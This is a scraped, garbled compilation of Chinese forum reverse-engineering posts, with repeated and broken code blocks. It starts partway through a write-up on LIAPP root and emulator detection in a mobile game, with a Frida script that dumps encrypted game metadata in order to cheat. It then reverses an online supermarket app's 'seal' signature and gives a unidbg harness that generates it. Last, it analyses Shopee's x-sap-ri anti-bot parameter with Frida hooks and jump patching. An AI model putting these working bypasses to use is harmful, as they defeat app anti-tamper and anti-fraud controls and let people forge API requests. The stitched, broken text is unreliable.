後,最好先暫時其他線程,這樣會比較好調,防止其他線程的干擾。IDA Python腳本:一鍵暫停其他線程
1 2 3 4 5 6 7 8 9 | import idc; def suspend_other_thread(): current_thread = idc.get_current_thread() thread_count = idc.get_thread_qty() for i in range ( 0 , thread_count): other_thread = idc.getn_thread(i) if other_thread ! = current_thread: idc.suspend_thread(other_thread) suspend_other_thread() |
function offset:0x45A68
pthread_func6
一開始先調用check_fingerprint3
函數進行第一部份的檢測,進入看看。
check_fingerprint3
裡調用check_su
檢查了一些常規的su路徑。
check_su
會先構造各種可能的su路徑,如/system/xbin/su
,然後傳入check_su_path_exist
check_su_path_exist
( 其實叫做check_path_exist
會好點,因為這個函數不只用來檢測su路徑 )會創建pthread_func7
來檢測。
pthread_func7
具體實現下一小節再看。
回到check_fingerprint3
繼續向下看。
檢查ro.build.fingerprint
是否包含userdebug
。
比較ro.product.model
與Custom Phone
是否相同。
檢查magisk特徵
\\n
獲取環境變量,遍歷其中的所有路徑,傳入trav_dir_and_check_su
函數。
注:trav_dir_and_check_su
函數實現如下,通過scandir
來遍歷指定目錄,然後檢查其中是否包含su
文件。
連/sdcard/Download/boot.img
都不放過?
又是一些magisk特徵:
\\n/system/bin/magisk
、/system/bin/magiskinit
、/system/bin/magiskpolicy
、/system/bin/resetprop
最後又有一些su檢測
\\n
看完check_fingerprint3
後,回到pthread_func6
繼續向下看( 只發現一處特別可疑的地方 )。
循環遍歷solist ( 由g_solist
賦值 ),調用soinfo_get_realpath
( 實際調用的是g_soinfo_get_realpath_func
)、soinfo_get_soname
( 實際調用的是g_soinfo_get_soname
)來獲取realpath
和soname
,然後判斷其中是否包含zygisk的特徵。
小結:
\\npthread_func6
總的來說就是一個root檢測。
function offset:0xF2D0
pthread_func7
中會通過各種手段嘗試打開/訪問傳入來的路徑,如果能順利執行就代表被檢測到。
用到的API包括:fopen
、openat
、scandir
、lstat
、stat
、access
、readlink
。
function offset:0x39E18
一開始調用了sub_7869BC4880
,動調時沒有看出它在干什麼。
但在靜態分析時手動解密了sub_7869BC4880
中的一些字符串,大概是一些模擬器的特徵檢測。
回到pthread_func10
繼續向下看。
調用了check_BlueStacks_emu
,它專門檢測了BlueStacks模擬器。
具體檢測了以下特徵:( 將以下字符串作為參數傳入check_su_path_exist
)
1 2 3 4 5 6 7 8 9 10 11 | \\"com.bluestacks.bstfolder\\" \\"/data/data/com.bluestacks.home\\" \\"/data/data/com.bluestacks.launcher\\" \\"/sdcard/Android/data/com.bluestacks.home\\" \\"/system/bin/bstfolderd\\" \\"/system/bin/bstfolder\\" \\"/system/bin/bstsyncfs\\" \\"/sys/module/bstsensor\\" \\"/sys/module/bstpgaipc\\" \\"/system/xbin/bstk/su\\" \\"/system/xbin/bstk\\" |
繼續向下看,又檢測了一些特徵,不認識。
\\n
檢測夜神模擬器
\\n
具體檢測了以下特徵:
\\n1 2 | \\"/system/bin/nox-vbox-sf\\" \\"/data/data/com.bignox.appcenter\\" |
檢測雷電模擬器
\\n
具體檢測了以下特徵:
\\n1 | \\"/system/app/LDAppStore/LDAppStore.apk\\" |
檢測KoPlayer
\\n
檢測一些虛擬機特徵:
\\n1 2 3 4 5 6 | \\"/system/bin/androidVM-vbox-sf\\" \\"/system/bin/androidVM-prop\\" \\"/sys/module/vboxpcismv\\" \\"/sys/module/nemusf\\" \\"/system/bin/genybaseband\\" \\"/sys/module/vboxsf\\" |
檢測Android指紋中是否包含:
\\n1 2 3 4 5 | \\"Android SDK built\\" \\"sdk_gphone\\" \\"Android/sdk_\\" \\"Android/vbox86\\" \\"google/sdk_\\" |
調用check_android_prop
檢測了一些android屬性
具體獲取了以下android屬性:
\\n1 2 3 4 5 6 7 8 9 10 | \\"Dapexd.status\\" \\"vm.cleaner.status\\" \\"Xsystem.slide-out.enabled\\" \\"sys.powerboot.adbd\\" \\"init.svc.vmcd\\" \\"nit.svc.sh_boot\\" \\"siq.display.config\\" \\"ro.boottime.apexd\\" \\"ro.com.cph.cloud_app_engine\\" (云手機特徵) \\"ro.global.scene\\" |
小結:
\\npthread_func10
總的來說就是一個模擬器/虛擬機檢測,除此之外大概還檢測了shamiko
,但我動調時走不到相應的檢測邏輯,故沒有分析其具體實現。
繞過相關反調試後,終於可以開始我們的「正文」了,沒想到這部份是最簡單的…
\\n這個手遊是經典的Unity + il2cpp,它的libil2cpp.so
沒有加密,但global-metadata.dat
明顯加密了。
在libil2cpp.so
搜\\"global-metadata.dat\\"
定位到其加載函數sub_A6D2B0
。
frida dump腳本:
\\nfunction dump_bin(name, addr, size) {\\n var file_path = \\"/data/data/net.gameduo.tbd\\" + \\"/\\" + name + \\".bin\\";\\n console.log(\\"dump path: \\", file_path);\\n var file_handle = new File(file_path, \\"wb\\");\\n if (file_handle && file_handle != null) {\\n Memory.protect(ptr(addr), size, \'rwx\');\\n var libso_buffer = ptr(addr).readByteArray(size);\\n file_handle.write(libso_buffer);\\n file_handle.flush();\\n file_handle.close();\\n console.log(\\"[dump]:\\", file_path);\\n }\\n}\\nfunction get_size(addr) {\\n const metadataHeader = addr;\\n let fileOffset = 0x10C;\\n let lastCount = 0;\\n let lastOffset = 0;\\n while (true) {\\n lastCount = Memory.readInt(ptr(metadataHeader).add(fileOffset));\\n if (lastCount !== 0) {\\n lastOffset = Memory.readInt(ptr(metadataHeader).add(fileOffset-4));\\n console.log(\\"fileOffset : \\", ptr(fileOffset))\\n break;\\n }\\n fileOffset -= 8;\\n if(fileOffset <= 0)\\n {\\n console.log(\\"get size failed!\\");\\n break;\\n }\\n }\\n return lastOffset + lastCount;\\n}\\nfunction dump_gm(base) {\\n Interceptor.attach(base.add(0xA6D2B0),{\\n onEnter(args){\\n console.log(\\"[libil2cpp] arg0: \\", args[0].readCString());\\n },\\n onLeave(retval){\\n dump_bin(\\"global-meta\\", retval, get_size(retval));\\n }\\n })\\n}\\n\\n
dump下來的global-metadata可以直接用在Il2cppDumper。
\\n最後,隨便找了個函數來hook,成功修改了升級所需的經驗。
\\n
淺淺過了一遍LIAPP這個保護,能看出來它花了大量功夫在反調試上,與常規防護不同的是它沒有一個固定的字符串解密函數,導致逆向時無法一步到位發現所有可疑的地方,所幸在不同的字符串解密邏輯後都跟了固定幾個字符串處理函數,大大方便了逆向工作。除此之外它應該還有一些風控的邏輯,但我沒有分析到就不談了。
\\n令人費解的是它對gm文件的保護程度簡直弱到可怕,可以說是即dump即用了。
\\n花了幾天時間來研究,若單純以破解為目的其實只需要1~2天就可以,比較費時間的是研究它的檢測原理,總的來說也是收獲了不少。
\\n最後,文中若是有寫錯的地方還望指出,也歡迎技術交流!!!
\\n[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课
\\n\\n某线上超市纯算分析完整篇
本文仅作为学习交流,禁止用于商业使用。
通过分析抓包请求,可以确定加密参数为 “sign” 和“seal”
首先看下长度,32位,初步猜测为 md5,用算法助手或者 hook 一下 md5,即可得到正常结果。
这个参数大家可以自己尝试了,当作热身的。下面的seal才是咱们的主菜。
具体查找过程就不说了,是调用这个so生成的seal
成功执行后多次输出结果:
大胆猜测各个密文可能的加密方式:
a: md5+字符串
b: 可变字符串
c:base64(固定字符+随机字符)
d:固定字符串
e:可变字符串
加密参数a:
hook该方法,发现该方法调用两次,分别打印入参
第一次入参:
return:17 77 BD BO 29 37 12 3D CB CF 66 4F 72 B1 40 47
第二次入参:
return:d92cef65a435b35cd235883f4c65c5e1
md5处理的字节必须是512的整数倍,不足的填充(0x80,0x00)和附加消息长度,否则不做填充
分析结果:a加密即取原文前512bit数据进行第一次md5加密,结果作为第二次md5加密的初始化魔数对原文后半部分进行第二次md5,结果再加上随机数。
加密参数b
入参1-随机数, 入参2-加密长度
分析可知,就是对一个随机数再次进行加密,估计后端不会校验,或者校验能否解密
加密参数c
查找base64码表
由此可见是改了码表的base64,通过该码表解码发现入参不为明文,向上查找明文加密的地方
sub_425cc加密:该自写算法就是将明文加密 类似rc4对称算法(生成一个256字节的S-box。再通过算法每次取出S-box中的某一字节K.将K与上一个结果做异或得到密文)
至于是不是标准rc4,我没有验证
加密参数d
分析伪代码,调用android的getSharedPreferences
通过 getstring 获取config.xml文件key为 db_epidemic_prevention 的值,否认默认为 pbpiy6hrpp323s13
java查找 putstring 方法
加密方式为:常量str2 进行md5 作为 aes-ecb 模式的key,对明文进行加密
加密参数e
随机数加密,和加密参数b一样
总结:整体难度中等,在无混淆的情况下,结合unidbg进行调试,很容易找到加密函数。逆向时,要熟悉各种加密算法,对一些常见算法的初始化常量,算法特征,源码要基本了解。
package com.pp;
import
com.github.unidbg.AndroidEmulator;
\\nimport
com.github.unidbg.Module;
\\nimport
com.github.unidbg.arm.backend.Unicorn2Factory;
\\nimport
com.github.unidbg.
file
.IOResolver;
\\nimport
com.github.unidbg.linux.android.AndroidEmulatorBuilder;
\\nimport
com.github.unidbg.linux.android.AndroidResolver;
\\nimport
com.github.unidbg.linux.android.dvm.
*
;
\\nimport
com.github.unidbg.linux.android.dvm.array.ByteArray;
\\nimport
com.github.unidbg.memory.Memory;
\\nimport
com.github.unidbg.virtualmodule.android.AndroidModule;
\\nimport
com.github.unidbg.virtualmodule.android.JniGraphics;
\\nimport
java.io.
File
;
\\nimport
java.io.UnsupportedEncodingException;
\\npublic
class
pp_seal extends AbstractJni {
\\n
private final AndroidEmulator emulator;
\\n
private final VM vm;
\\n
private final Module module;
\\n
public pp_seal() {
\\n
/
/
创建模拟器实例,进程名建议依照实际进程名填写,可以规避针对进程名的校验
\\n
emulator
=
AndroidEmulatorBuilder.for64Bit()
\\n
.addBackendFactory(new Unicorn2Factory(true))
\\n
.setProcessName(
\\"com.pupumall.customer\\"
)
\\n
.build();
\\n
/
/
获取模拟器的内存操作接口
\\n
final Memory memory
=
emulator.getMemory();
\\n
emulator.getSyscallHandler().setEnableThreadDispatcher(false);
/
/
如果报错 [main]W
/
libc: pthread_create failed: clone failed: Out of memory 采用改代码
\\n
/
/
设置系统类库解析
\\n
memory.setLibraryResolver(new AndroidResolver(
23
));
\\n
/
/
创建Android虚拟机,传入APK,Unidbg可以替我们做部分签名校验的工作
\\n
vm
=
emulator.createDalvikVM(new
File
(
\\"unidbg-android/src/test/java/com/pp/pp4.8.8.apk\\"
));
\\n
/
/
如果提示缺失依赖so
\\n
new AndroidModule(emulator,vm).register(memory);
\\n
new JniGraphics(emulator,vm).register(memory);
\\n
DalvikModule dm
=
vm.loadLibrary(new
File
(
\\"unidbg-android/src/test/java/com/pp/libwindcharger.so\\"
), false);
\\n
module
=
dm.getModule();
\\n
vm.setJni(this);
/
/
设置JNI
\\n
vm.setVerbose(true);
/
/
打印日志
\\n
dm.callJNI_OnLoad(emulator);
/
/
调用JNI OnLoad
\\n
}
\\n
public static void main(String[] args){
\\n
pp_seal test
=
new pp_seal();
\\n
AndroidEmulator emulator
=
test.emulator;
\\n
VM vm
=
test.vm;
\\n
DvmClass cSignUtil
=
vm.resolveClass(
\\"com.pupumall.tinystack.Gears\\"
);
\\n
String aa
=
\\"{\\\\\\"sign\\\\\\":\\\\\\"c4a2cdc8738a09a5d661c858a66f009e\\\\\\",\\\\\\"Owl-TraceId\\\\\\":\\\\\\"e7fc7a42c6d04ec4b2dbe889e62f8b24.232.17205818367478832\\\\\\",\\\\\\"X-B3-TraceId\\\\\\":\\\\\\"e7fc7a42c6d04ec4b2dbe889e62f8b24.232.17205818367478832\\\\\\",\\\\\\"X-B3-SpanId\\\\\\":\\\\\\"dca2366dec7d0370\\\\\\",\\\\\\"timestamp\\\\\\":\\\\\\"1720581836741\\\\\\",\\\\\\"pp-version\\\\\\":\\\\\\"2023023100\\\\\\",\\\\\\"pp-suid\\\\\\":\\\\\\"e9ce82cf-0933-4221-8ced-649f03e95cef\\\\\\",\\\\\\"pp_storeid\\\\\\":\\\\\\"b565ec67-fd76-4195-888e-b6ff156b2adc\\\\\\",\\\\\\"pp-placeid\\\\\\":\\\\\\"1b7d5060-211a-485c-8424-158cccf1df93\\\\\\",\\\\\\"req-tag\\\\\\":\\\\\\"1720581836780\\\\\\"}\\"
;
\\n
DvmClass cContext
=
vm.resolveClass(
\\"android/content/Context\\"
);
\\n
DvmClass cContextWrapper
=
vm.resolveClass(
\\"android/content/ContextWrapper\\"
, cContext);
\\n
DvmObject<?> cNative
=
vm.resolveClass(
\\"com.pupumall.customer.global.AppTinker\\"
, cContextWrapper).newObject(null);
\\n
DvmObject<?> dvmObject
=
cSignUtil.callStaticJniMethodObject(emulator,
\\"drift(Landroid/content/Context;Ljava/lang/String;)Ljava/lang/String;\\"
, cNative, aa);
\\n
System.out.println(dvmObject);
\\n/
/
}
\\n
}
\\n
@Override
\\n
public
int
getStaticIntField(BaseVM vm, DvmClass dvmClass, String signature) {
\\n
if
(
\\"android/content/Context->MODE_PRIVATE:I\\"
.equals(signature)) {
\\n
return
0
;
\\n
}
\\n
return
super
.getStaticIntField(vm, dvmClass, signature);
\\n
}
\\n
@Override
\\n
public DvmObject<?> callObjectMethodV(BaseVM vm, DvmObject<?> dvmObject, String signature, VaList vaList) {
\\n
switch (signature) {
\\n
case
\\"java/lang/String->getBytes(Ljava/lang/String;)[B\\"
: {
\\n
String
str
=
(String) dvmObject.getValue();
\\n
StringObject charsetName
=
vaList.getObjectArg(
0
);
\\n
try
{
\\n
return
new ByteArray(vm,
str
.getBytes(charsetName.getValue()));
\\n
} catch (UnsupportedEncodingException e) {
\\n
throw new IllegalStateException(e);
\\n
}
\\n
}
\\n
case
\\"com/pupumall/customer/global/AppTinker->getPackageName()Ljava/lang/String;\\"
:{
\\n
return
new StringObject(vm,
\\"com.pupumall.customer\\"
);
\\n
}
\\n
}
\\n
throw new UnsupportedOperationException(signature);
\\n
}
\\n
@Override
\\n
public DvmObject<?> callStaticObjectMethodV(BaseVM vm, DvmClass dvmClass, String signature, VaList vaList) {
\\n
switch (signature) {
\\n
case
\\"com/pupumall/tinystack/utils/P->a(Landroid/content/Context;)Ljava/lang/String;\\"
:
\\n
case
\\"com/pupumall/tinystack/utils/S->e(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;\\"
:
\\n
case
\\"com/pupumall/tinystack/utils/S->q()Ljava/lang/String;\\"
:
\\n
return
new StringObject(vm,
\\"Ljava/lang/String;\\"
);
\\n
}
\\n
return
super
.callStaticObjectMethodV(vm, dvmClass, signature, vaList);
\\n
}
\\n}
package com.pp;
import
com.github.unidbg.AndroidEmulator;
\\nimport
com.github.unidbg.Module;
\\nimport
com.github.unidbg.arm.backend.Unicorn2Factory;
\\nimport
com.github.unidbg.
file
.IOResolver;
\\nimport
com.github.unidbg.linux.android.AndroidEmulatorBuilder;
\\nimport
com.github.unidbg.linux.android.AndroidResolver;
\\nimport
com.github.unidbg.linux.android.dvm.
*
;
\\nimport
com.github.unidbg.linux.android.dvm.array.ByteArray;
\\nimport
com.github.unidbg.memory.Memory;
\\nimport
com.github.unidbg.virtualmodule.android.AndroidModule;
\\nimport
com.github.unidbg.virtualmodule.android.JniGraphics;
\\nimport
java.io.
File
;
\\nimport
java.io.UnsupportedEncodingException;
\\npublic
class
pp_seal extends AbstractJni {
\\n
private final AndroidEmulator emulator;
\\n
private final VM vm;
\\n
private final Module module;
\\n
public pp_seal() {
\\n
/
/
创建模拟器实例,进程名建议依照实际进程名填写,可以规避针对进程名的校验
\\n
emulator
=
AndroidEmulatorBuilder.for64Bit()
\\n
.addBackendFactory(new Unicorn2Factory(true))
\\n
.setProcessName(
\\"com.pupumall.customer\\"
)
\\n
.build();
\\n
/
/
获取模拟器的内存操作接口
\\n
final Memory memory
=
emulator.getMemory();
\\n
emulator.getSyscallHandler().setEnableThreadDispatcher(false);
/
/
如果报错 [main]W
/
libc: pthread_create failed: clone failed: Out of memory 采用改代码
\\n
/
/
设置系统类库解析
\\n
memory.setLibraryResolver(new AndroidResolver(
23
));
\\n
/
/
创建Android虚拟机,传入APK,Unidbg可以替我们做部分签名校验的工作
\\n
vm
=
emulator.createDalvikVM(new
File
(
\\"unidbg-android/src/test/java/com/pp/pp4.8.8.apk\\"
));
\\n
/
/
如果提示缺失依赖so
\\n
new AndroidModule(emulator,vm).register(memory);
\\n
new JniGraphics(emulator,vm).register(memory);
\\n
DalvikModule dm
=
vm.loadLibrary(new
File
(
\\"unidbg-android/src/test/java/com/pp/libwindcharger.so\\"
), false);
\\n
module
=
dm.getModule();
\\n
vm.setJni(this);
/
/
设置JNI
\\n
vm.setVerbose(true);
/
/
打印日志
\\n
dm.callJNI_OnLoad(emulator);
/
/
调用JNI OnLoad
\\n
}
\\n
public static void main(String[] args){
\\n[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)
\\nshopee app算法分析第一篇
分析完整算法大概要好几篇,耐心等待下
抓的搜索接口,get请求,核心的有3个4字节键和x-sap-ri,如果是post,就是4个4字节键和值,多出来的一个和post的表单有关
后续内容都是post的,post会了,get肯定也会了,4个4字节3个短的,一个长的.这5个参数来着同一个so,libshpssdk.so,后面说怎么定位到的.
4字节的key和value也是一直变化的,最好摸清楚生成机制,随机可能引起风控.(有9套算法)
太长了,放前面的结果
在com.shopee.shpssdk.SHPSSDK.uvwvvwvvw方法里,这个app有很多站点的,初步看了只是包名不一样,函数,so偏移都是一样的,包名是com.shopee.xx xx是域名后面的,我使用的样本是ph,3.37.31
这个位置值已经生成了,往上找调用,就一个,结果来自wvvvuwwu.vuwuuwvw(str.getBytes(), bArr),hook发现,第一个参数url,第二个表单(get就是null)
点过去来到native注册的地方
hook下libart
so名字libshpssdk,偏移0x995dc,到lib目录下找发现一个so都没有,hook下dlopen
可以看到so是压缩了下,拖出来即可.
注意脚本写法(排除空,异常字段),很多时候排除掉手机,app,frida版本这些的问题, 为什么明明确定是这个位置hook脚本就是没输出,考虑下是不是脚本有问题,有时候有问题是不会输出东西的,也不报错,然后你以为没走这,就是因为你对参数进行了错误操作,比如类型没判断正确,空没有排除掉导致脚本什么都不打印.好几个人问我,这里统一回复下.
都是基本写法,不熟悉多google,自己琢磨才能记得住.
连续调用会有一个4字节key不变,1A9EC9B9,这个只和url有关,后续写还原,这个键对应的值解密出来是16字节随机+9套算法中的哪3套,第二篇写算法还原
native call的作用是方便确定哪些是so的初始化函数(不管有没有),可以节省后续很多时间.
在so刚加载后直接native call如果有正确结果就没有初始化,如果有需要一步步调用初始化直到生成正确结果,方便后续模拟执行
-f启动,很幸运没有初始化,国内大厂没有没有初始化的,这块占逆向比重也很大.
执行无异常
然后调用函数. callByAPI放开
上来就查找异常,上面验证了没有初始化,也就是说直接调用理论上是可以的.很明显上来就走到异常了. 要么放弃unidbg,用stalker,要么硬干,排除异常.
我选择试试排除异常,在刚调用函数的位置开启trace,运行
刚开始异常的位置是0x980b8,ida中看看
没有有用的信息
往上找了找,看到了都是和异常相关的字段,判断应该是走入这个函数导致的异常,如果不让函数执行到这里是不是就可以绕过了?可以尝试一下,没有好的办法,不试你就只能扔到回收站.
异常函数是sub_9646C
日志中看到由9a204跳到异常
off_345F20里放的都是函数地址,有点罕见这种.
复制出来搜索发现只有一处走向异常,之前尝试了不让他走到这个判断里面,有些困难
最好的办法是把这个跳转直接nop掉
运行
进入到正常逻辑了,后续的补环境交给你相信也是信手拈来.
补环境代码中可能有东西参与了计算,需要注意,另外大部分结果由随机数构成,需要处理好哪些随机是对应的.走的是/dev/urandom
x-sap-ri算法
不要觉得看上去很简单,想一想没有资料你能不能搞的出来? 后续预计3-4篇算法
后续这种简单的定位,脚本什么可能一笔带过了,默认都会了,我觉得这篇还是很详细的,后续算法远比这些复杂
Java.perform(
function
(){
\\n
// HashMap.put
\\n
var
hashMap = Java.use(
\\"java.util.HashMap\\"
);
\\n
hashMap.put.implementation =
function
(a, b) {
\\n
if
(a!=
null
&& a.equals(
\\"x-sap-ri\\"
)){
\\n
console.log(Java.use(
\\"android.util.Log\\"
).getStackTraceString(Java.use(
\\"java.lang.Throwable\\"
).$
new
()))
\\n
console.log(
\\"hashMap.put: \\"
, a, b);
\\n
}
\\n
return
this
.put(a, b);
\\n
}
\\n})
Java.perform(
function
(){
\\n
// HashMap.put
\\n
var
hashMap = Java.use(
\\"java.util.HashMap\\"
);
\\n
hashMap.put.implementation =
function
(a, b) {
\\n
if
(a!=
null
&& a.equals(
\\"x-sap-ri\\"
)){
\\n
console.log(Java.use(
\\"android.util.Log\\"
).getStackTraceString(Java.use(
\\"java.lang.Throwable\\"
).$
new
()))
\\n
console.log(
\\"hashMap.put: \\"
, a, b);
\\n
}
\\n
return
this
.put(a, b);
\\n
}
\\n})
java.lang.Throwable
at java.util.HashMap.put(Native Method)
\\n
at org.json.JSONObject.put(JSONObject.java:
276
)
\\n
at org.json.JSONTokener.readObject(JSONTokener.java:
394
)
\\n
at org.json.JSONTokener.nextValue(JSONTokener.java:
104
)
\\n
at org.json.JSONObject.<init>(JSONObject.java:
168
)
\\n
at org.json.JSONObject.<init>(JSONObject.java:
185
)
\\n
at com.shopee.shpssdk.SHPSSDK.uvwvvwvvw(Unknown Source:
81
)
\\n
at com.shopee.shpssdk.SHPSSDK.requestDefense(Unknown Source:
59
)
\\nhashMap.put: x
-
sap
-
ri
443e41678c54f44f62b70d1901d115bc703ebab92a5b4251176d
\\njava.lang.Throwable
at java.util.HashMap.put(Native Method)
\\n
at org.json.JSONObject.put(JSONObject.java:
276
)
\\n
at org.json.JSONTokener.readObject(JSONTokener.java:
394
)
\\n
at org.json.JSONTokener.nextValue(JSONTokener.java:
104
)
\\n
at org.json.JSONObject.<init>(JSONObject.java:
168
)
\\n
at org.json.JSONObject.<init>(JSONObject.java:
185
)
\\n
at com.shopee.shpssdk.SHPSSDK.uvwvvwvvw(Unknown Source:
81
)
\\n
at com.shopee.shpssdk.SHPSSDK.requestDefense(Unknown Source:
59
)
\\nhashMap.put: x
-
sap
-
ri
443e41678c54f44f62b70d1901d115bc703ebab92a5b4251176d
\\n马来西亚:https:
/
/
shopee.my
\\n新加坡:https:
/
/
shopee.sg
\\n泰国:https:
/
/
shopee.th
\\n印度尼西亚:https:
/
/
shopee.
id
\\n越南:https:
/
/
shopee.vn
\\n菲律宾:https:
/
/
shopee.ph
\\n台湾:https:
/
/
shopee.tw
\\n大陆:https:
/
/
shopee.cn
\\n马来西亚:https:
/
/
shopee.my
\\n新加坡:https:
/
/
shopee.sg
\\n泰国:https:
/
/
shopee.th
\\n印度尼西亚:https:
/
/
shopee.
id
\\n越南:https:
/
/
shopee.vn
\\n菲律宾:https:
/
/
shopee.ph
\\n台湾:https:
/
/
shopee.tw
\\n大陆:https:
/
/
shopee.cn
\\n[RegisterNatives] method_count:
0x4
\\nname: com.shopee.shpssdk.wvvvuwwu vuwuuwvv sig: (I)V module_name: libshpssdk.so offset:
0x1bef84
\\nname: com.shopee.shpssdk.wvvvuwwu vuwuuwvu sig: (Lcom
/
shopee
/
shpssdk
/
wvvvuvvv;)I module_name: libshpssdk.so offset:
0x1bf478
\\nname: com.shopee.shpssdk.wvvvuwwu vuwuuwvw sig: ([B[B)Ljava
/
lang
/
String; module_name: libshpssdk.so offset:
0x995dc
\\nname: com.shopee.shpssdk.wvvvuwwu vuwuuwvvw sig: ([B)V module_name: libshpssdk.so offset:
0x9932c
\\n[RegisterNatives] method_count:
0x4
\\nname: com.shopee.shpssdk.wvvvuwwu vuwuuwvv sig: (I)V module_name: libshpssdk.so offset:
0x1bef84
\\nname: com.shopee.shpssdk.wvvvuwwu vuwuuwvu sig: (Lcom
/
shopee
/
shpssdk
/
wvvvuvvv;)I module_name: libshpssdk.so offset:
0x1bf478
\\nname: com.shopee.shpssdk.wvvvuwwu vuwuuwvw sig: ([B[B)Ljava
/
lang
/
String; module_name: libshpssdk.so offset:
0x995dc
\\nname: com.shopee.shpssdk.wvvvuwwu vuwuuwvvw sig: ([B)V module_name: libshpssdk.so offset:
0x9932c
\\nvar
dlopen = Module.findExportByName(
null
,
\\"dlopen\\"
);
//6.0
\\nvar
android_dlopen_ext = Module.findExportByName(
null
,
\\"android_dlopen_ext\\"
);
//高版本8.1以上
\\nInterceptor.attach(dlopen, {
onEnter:
function
(args) {
\\n
var
path_ptr = args[0];
\\n
var
path = ptr(path_ptr).readCString();
\\n
console.log(
\\"[dlopen:]\\"
, path);
\\n
},
\\n
onLeave:
function
(retval) {
\\n
// Thread.sleep(3);
\\n
}
\\n});
Interceptor.attach(android_dlopen_ext, {
onEnter:
function
(args) {
\\n
var
path_ptr = args[0];
\\n
var
path = ptr(path_ptr).readCString();
\\n
console.log(
\\"[dlopen_ext:]\\"
, path);
\\n
},
\\n
onLeave:
function
(retval) {
\\n
// Thread.sleep(3);
\\n
}
\\n});
var
dlopen = Module.findExportByName(
null
,
\\"dlopen\\"
);
//6.0
\\nvar
android_dlopen_ext = Module.findExportByName(
null
,
\\"android_dlopen_ext\\"
);
//高版本8.1以上
\\nInterceptor.attach(dlopen, {
onEnter:
function
(args) {
\\n
var
path_ptr = args[0];
\\n
var
path = ptr(path_ptr).readCString();
\\n
console.log(
\\"[dlopen:]\\"
, path);
\\n
},
\\n
onLeave:
function
(retval) {
\\n
// Thread.sleep(3);
\\n
}
\\n});
Interceptor.attach(android_dlopen_ext, {
onEnter:
function
(args) {
\\n
var
path_ptr = args[0];
\\n
var
path = ptr(path_ptr).readCString();
\\n
console.log(
\\"[dlopen_ext:]\\"
, path);
\\n
},
\\n
onLeave:
function
(retval) {
\\n
// Thread.sleep(3);
\\n
}
\\n});
/
data
/
app
/
~~KVEKJlJur2r6197VML5LRw
=
=
/
com.shopee.sg
-
ZyVbLWincySSEAiqQSuPLQ
=
=
/
split_config.arm64_v8a.apk!
/
lib
/
arm64
-
v8a
/
libshpssdk.so
\\n/
data
/
app
/
~~KVEKJlJur2r6197VML5LRw
=
=
/
com.shopee.sg
-
ZyVbLWincySSEAiqQSuPLQ
=
=
/
split_config.arm64_v8a.apk!
/
lib
/
arm64
-
v8a
/
libshpssdk.so
\\nJava.perform(
function
(){
\\n
console.log(
\'======================\'
)
\\n
let wvvvuwwu = Java.use(
\\"com.shopee.shpssdk.wvvvuwwu\\"
);
\\n
wvvvuwwu[
\\"vuwuuwvw\\"
].implementation =
function
(bArr, bArr2) {
\\n
var
ByteString = Java.use(
\\"com.android.okhttp.okio.ByteString\\"
);
\\n
if
(bArr!==
null
){
\\n
try
{
\\n
console.log(
\'111111111\'
)
\\n
console.log(`wvvvuwwu.vuwuuwvw is called: bArr=${ByteString.of(bArr).utf8()}, bArr2=${bArr2}`);
\\n
}
catch
(e) {
\\n
}
\\n
}
\\n
// console.log(`wvvvuwwu.vuwuuwvw is called: bArr=${bArr}, bArr2=${bArr2}`);
\\n
let result =
this
[
\\"vuwuuwvw\\"
](bArr, bArr2);
\\n
console.log(`wvvvuwwu.vuwuuwvw result=${result}`);
\\n
return
result;
\\n
};
\\n})
Java.perform(
function
(){
\\n
console.log(
\'======================\'
)
\\n
let wvvvuwwu = Java.use(
\\"com.shopee.shpssdk.wvvvuwwu\\"
);
\\n
wvvvuwwu[
\\"vuwuuwvw\\"
].implementation =
function
(bArr, bArr2) {
\\n
var
ByteString = Java.use(
\\"com.android.okhttp.okio.ByteString\\"
);
\\n
if
(bArr!==
null
){
\\n
try
{
\\n
console.log(
\'111111111\'
)
\\n
console.log(`wvvvuwwu.vuwuuwvw is called: bArr=${ByteString.of(bArr).utf8()}, bArr2=${bArr2}`);
\\n
}
catch
(e) {
\\n
}
\\n
}
\\n
// console.log(`wvvvuwwu.vuwuuwvw is called: bArr=${bArr}, bArr2=${bArr2}`);
\\n
let result =
this
[
\\"vuwuuwvw\\"
](bArr, bArr2);
\\n
console.log(`wvvvuwwu.vuwuuwvw result=${result}`);
\\n
return
result;
\\n
};
\\n})
function
call(){
\\n
Java.perform(
function
(){
\\n
let wvvvuwwu = Java.use(
\\"com.shopee.shpssdk.wvvvuwwu\\"
);
\\n
var
str =
\'https://mall.shopee.ph/api/v4/pages/bottom_tab_bar\'
\\n
var
StringClass = Java.use(
\'java.lang.String\'
);
\\n
var
byteArray = StringClass.$
new
(str).getBytes();
\\n
var
str2 =
\'{\\"img_size\\":\\"3.0x\\",\\"latitude\\":\\"\\",\\"location\\":\\"[]\\",\\"longitude\\":\\"\\",\\"new_arrival_reddot_last_dismissed_ts\\":0,\\"feed_reddots\\":[{\\"timestamp\\":0,\\"noti_code\\":28}],\\"client_feature_meta\\":{\\"is_live_and_video_merged_tab_supported\\":false},\\"video_reddot_last_dismissed_ts\\":0,\\"view_count\\":[{\\"count\\":1,\\"source\\":0,\\"tab_name\\":\\"Live\\"}]}\'
\\n
var
byteArray2 = StringClass.$
new
(str2).getBytes();
\\n
var
res = wvvvuwwu[
\\"vuwuuwvw\\"
](byteArray,byteArray2)
\\n
console.log(
\'res==>\'
,res)
\\n
})
\\n}
function
call(){
\\n
Java.perform(
function
(){
\\n
let wvvvuwwu = Java.use(
\\"com.shopee.shpssdk.wvvvuwwu\\"
);
\\n
var
str =
\'https://mall.shopee.ph/api/v4/pages/bottom_tab_bar\'
\\n
var
StringClass = Java.use(
\'java.lang.String\'
);
\\n
var
byteArray = StringClass.$
new
(str).getBytes();
\\n
var
str2 =
\'{\\"img_size\\":\\"3.0x\\",\\"latitude\\":\\"\\",\\"location\\":\\"[]\\",\\"longitude\\":\\"\\",\\"new_arrival_reddot_last_dismissed_ts\\":0,\\"feed_reddots\\":[{\\"timestamp\\":0,\\"noti_code\\":28}],\\"client_feature_meta\\":{\\"is_live_and_video_merged_tab_supported\\":false},\\"video_reddot_last_dismissed_ts\\":0,\\"view_count\\":[{\\"count\\":1,\\"source\\":0,\\"tab_name\\":\\"Live\\"}]}\'
\\n
var
byteArray2 = StringClass.$
new
(str2).getBytes();
